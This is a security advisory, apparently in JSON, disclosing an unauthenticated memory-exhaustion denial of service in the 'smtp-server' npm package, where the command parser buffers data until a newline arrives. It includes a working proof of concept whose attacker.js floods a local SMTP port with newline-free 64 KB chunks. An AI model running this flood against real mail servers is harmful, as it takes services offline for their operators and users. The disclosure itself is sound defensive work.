- "details": "### Summary\n\nAn unauthenticated memory exhaustion denial-of-service vulnerability in `smtp-server`'s command parser allows any remote client to consume unbounded server memory by sending data without newline characters. The server's `_remainder` buffer in `SMTPStream._write` grows without limit, leading to heap exhaustion, prolonged GC pauses that freeze the event loop, and in some cases, process crash. \n\n### Details\n\nThe `_write` method in `lib/smtp-stream.js` appends incoming TCP chunks to `this._remainder` in command mode. The buffer is only emptied when a newline is found. If a client never sends a newline, the `_remainder` value will grow indefinitely, causing excess memory consumption.\n\n### PoC\n\n**test_server.js**\n\n```js\nimport { SMTPServer } from \"smtp-server\";\n\nconst server = new SMTPServer({ authOptional: true, logger: false });\n\n\nserver.listen(2527, '127.0.0.1', () => {\n console.log('listening on 2527');\n \n let tick = 0;\n setInterval(() => {\n const mb = (process.memoryUsage().rss / 1024 / 1024).toFixed(1);\n console.log(`tick=${++tick} RSS=${mb} MB`);\n }, 1000);\n});\n\nserver.on('error', err => { console.error(err.message); process.exit(1); });\n```\n\n**attacker.js**\n\n```js\n\nimport net from 'node:net';\n\nconst buff_chunk = Buffer.alloc(64 * 1024, 0x41);\nconst socket = net.createConnection(2527, '127.0.0.1');\n\nsocket.once('data', flood);\n\nfunction flood() {\n const ok = socket.write(buff_chunk);\n if (ok) setImmediate(flood);\n else socket.once('drain', flood);\n}\n\nsocket.on('error', err => console.error(err.message));\n\n```\n\n\n### Impact\n\n**Who is impacted:** Any application using the `smtp-server` npm package to accept SMTP connections on a public interface. This attack occurs before authentication, so authenticated services offer no protection. \n\n**Severity:** High. A single connection can exhaust the process memory, while multiple connections multiply the effect linearly. The attack is trivial to execute. ",
0 commit comments